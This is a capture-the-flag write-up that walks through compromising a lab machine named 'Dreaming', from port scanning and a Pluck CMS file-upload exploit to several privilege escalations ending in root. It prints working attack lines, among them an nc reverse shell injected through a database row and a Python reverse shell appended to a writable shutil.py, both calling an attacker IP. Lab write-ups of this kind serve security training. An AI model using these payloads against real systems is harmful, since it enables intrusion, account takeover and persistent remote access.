Dreaming
1. Reconnaissance and Enumeration
The initial phase involved scanning the target machine to identify open ports and running services. nmap
was used for this purpose.
export TARGET_IP=10.10.200.163
nmap -p- --min-rate 5000 $TARGET_IP
Nmap Scan Results:
Not shown: 65389 closed tcp ports (reset), 144 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
2. Web Application Analysis
Since port 80 (HTTP) was open, the next step was to enumerate web directories and files to understand the web application running on the target. feroxbuster
was used for directory brute-forcing.
feroxbuster -u http://$TARGET_IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 200
Feroxbuster Results (Partial):
http://10.10.200.163/app/ => Directory listing (add --scan-dir-listings to scan)
feroxbuster
found an /app/
directory that allows directory listing. Browsing to http://10.10.200.163/app/
revealed a directory named pluck-4.7.13/
. Navigating further to http://10.10.200.163/app/pluck-4.7.13/?file=dreaming
redirected to the Pluck CMS login page at http://10.10.200.163/app/pluck-4.7.13/login.php
.
The login page prompted for a password only. Default credentials were tested, and the password "password" was found to be valid.
3. Vulnerability Exploitation (CVE-2020-29607)
A quick search for "Pluck CMS 4.7.13 vulnerabilities" led to CVE-2020-29607. This CVE describes a file upload restriction bypass vulnerability in Pluck CMS before version 4.7.13, allowing authenticated administrators to achieve remote code execution through the "manage files" functionality.
Exploit-DB provided a Python exploit (https://www.exploit-db.com/exploits/49909) that leverages this vulnerability by uploading a .phar
file containing a web shell.
Exploitation Steps:
-
Reverse Shell Generation: A PHP reverse shell was generated using
revshells.com
and saved asshell.phar
(you can use the PHP PentestMonkey for example). -
Netcat Listener Setup: On the attacker machine, a
netcat
listener was set up to receive the reverse shell connection.Attacker Machinenc -lvnp 6666
-
Exploit Execution (Manual Upload): Instead of using the Python exploit, we can manually replicate the file upload via the Pluck CMS admin panel. Log in to Pluck CMS using the "password" credential. Navigate to the "manage files" section. Upload
shell.phar
through the file upload functionality. -
Web Shell Access: Once uploaded, the file is placed in the
/app/pluck-4.7.13/files/
directory.
Initial Shell Access:
After executing the URL, the netcat
listener on the attacker machine received a connection, providing initial shell access as the www-data
user.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
4. Privilege Escalation to User lucien
To further escalate privileges, system information was gathered.
cat /etc/passwd
This command lists users on the system. Reviewing /etc/passwd
revealed a user named lucien
.
cat /opt/test.py
Checking for potentially interesting files in /opt/
revealed test.py
. Reading its contents exposed a password: HeyLucien#@1999!
.
This password was likely intended for user lucien
. SSH was attempted using these credentials.
ssh lucien@$TARGET_IP
Password: HeyLucien#@1999!
Successful SSH login granted access as user lucien
.
id
uid=1000(lucien) gid=1000(lucien) groups=1000(lucien),4(adm),24(cdrom),30(dip),46(plugdev)
5. Privilege Escalation to User death
After gaining access as lucien
, further enumeration was performed to identify potential privilege escalation paths. sudo -l
was used to list commands that lucien
could run with sudo
.
sudo -l
(death) NOPASSWD: /usr/bin/python3 /home/death/getDreams.py
This output indicated that user lucien
could execute /usr/bin/python3 /home/death/getDreams.py
as user death
without a password. Examining the script getDreams.py
was the next step.
cat /opt/getDreams.py
/opt/getDreams.py
informs a DB existence but we don't have the DB credentials yet.
Attention to this parts:
query = "SELECT dreamer, dream FROM dreams;"
cursor.execute(query)
dreams_info = cursor.fetchall()
if not dreams_info:
print("No dreams found in the database.")
else:
for dream_info in dreams_info:
dreamer, dream = dream_info
command = f"echo {dreamer} + {dream}"
shell = subprocess.check_output(command, text=True, shell=True)
print(shell)
Vulnerability Analysis:
The getDreams.py
script retrieves data from a MySQL database and then uses subprocess.check_output
with shell=True
to execute a command constructed from the database data. This is a classic command injection vulnerability. If we can control the data in the dreamer
or dream
columns of the dreams
table, we can inject arbitrary commands.
Exploitation:
To exploit this, we first needed to access the MySQL database. The .bash_history
file of user lucien
was examined.
cat /home/lucien/.bash_history
This revealed a command: mysql -u lucien -plucien42DBPASSWORD
. This exposed the database credentials for user lucien
.
mysql -u lucien -plucien42DBPASSWORD
SHOW DATABASES;
USE library;
SHOW TABLES;
After connecting to the MySQL server and selecting the library
database, the dreams
table was identified.
INSERT INTO dreams (dreamer, dream) VALUES ('b0end', 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.2.17.44 6666 >/tmp/f');
This SQL injection inserts a new row into the dreams
table. The dream
column contains a command that will be executed by the getDreams.py
script due to the command injection vulnerability. This specific command sets up a reverse shell back to the attacker machine on port 6666.
sudo -u death /usr/bin/python3 /home/death/getDreams.py
This command executes the script as user death
. Due to the command injection, the reverse shell command in the database was executed, and a shell connection was established as user death
.
id
uid=1001(death) gid=1001(death) groups=1001(death)
6. Privilege Escalation to User morpheus
and Root
To achieve root access, further enumeration was needed. pspy64
(a process monitor) was used to observe running processes and identify potential privilege escalation opportunities.
python3 -m http.server 80
A simple HTTP server was started on the attacker machine to serve pspy64
.
wget http://10.2.17.44:80/pspy64
chmod +x pspy64
./pspy64
pspy64
was downloaded, made executable, and run on the target machine. pspy64
output revealed a cronjob or scheduled task running as user morpheus
.
2025/02/09 11:39:01 CMD: UID=1002 PID=39889 | /bin/sh -c /usr/bin/python3.8 /home/morpheus/restore.py
This indicated that user morpheus
(UID 1002) was running /usr/bin/python3.8 /home/morpheus/restore.py
periodically. Examining restore.py
was the next step.
cat /home/morpheus/restore.py
Content of /home/morpheus/restore.py
:
from shutil import copy2 as backup
src_file = "/home/morpheus/kingdom"
dst_file = "/kingdom_backup/kingdom"
backup(src_file, dst_file)
print("The kingdom backup has been done!")
The restore.py
script uses the shutil.copy2
function to back up a file. A potential vulnerability exists if we can modify the shutil
library itself, as morpheus
executes this script.
Writable Library Check:
To check for writable libraries, the find
command was used to locate writable files, excluding common directories like /proc
, /sys
, and user home directories.
find / -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/home/death/*" -writable 2>/dev/null
The output of find
revealed that /usr/lib/python3.8/shutil.py
was writable. This is a critical finding, as modifying standard Python libraries can lead to privilege escalation.
Library Hijacking:
The shutil.py
library was modified to inject a reverse shell.
Sanitize Terminal if necessary:
script /dev/null -c bash
# CTRL + Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
stty size # Check what you use normally
stty rows <ROWS> columns <COLUMNS>
nano /usr/lib/python3.8/shutil.py
The following Python code was added at the beginning of /usr/lib/python3.8/shutil.py
:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.2.17.44",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
Netcat Listener Setup (Port 7777):
Another netcat
listener was set up on the attacker machine on port 7777 to receive the reverse shell from the modified library.
nc -lvnp 7777
Triggering the Reverse Shell:
Since restore.py
is executed periodically by user morpheus
, waiting for the next execution triggered the modified shutil.py
library, and a reverse shell connection was established as user morpheus
.
id
uid=1002(morpheus) gid=1002(morpheus) groups=1002(morpheus),1003(saviors)
Root Privilege Escalation:
After gaining access as morpheus
, sudo -l
was checked again.
sudo -l
(ALL) NOPASSWD: ALL
This indicated that user morpheus
could run any command as root without a password. Therefore, root access was easily obtained using sudo -i
.
sudo -i
id
uid=0(root) gid=0(root) groups=0(root)
This successfully escalated privileges to root, completing the penetration test.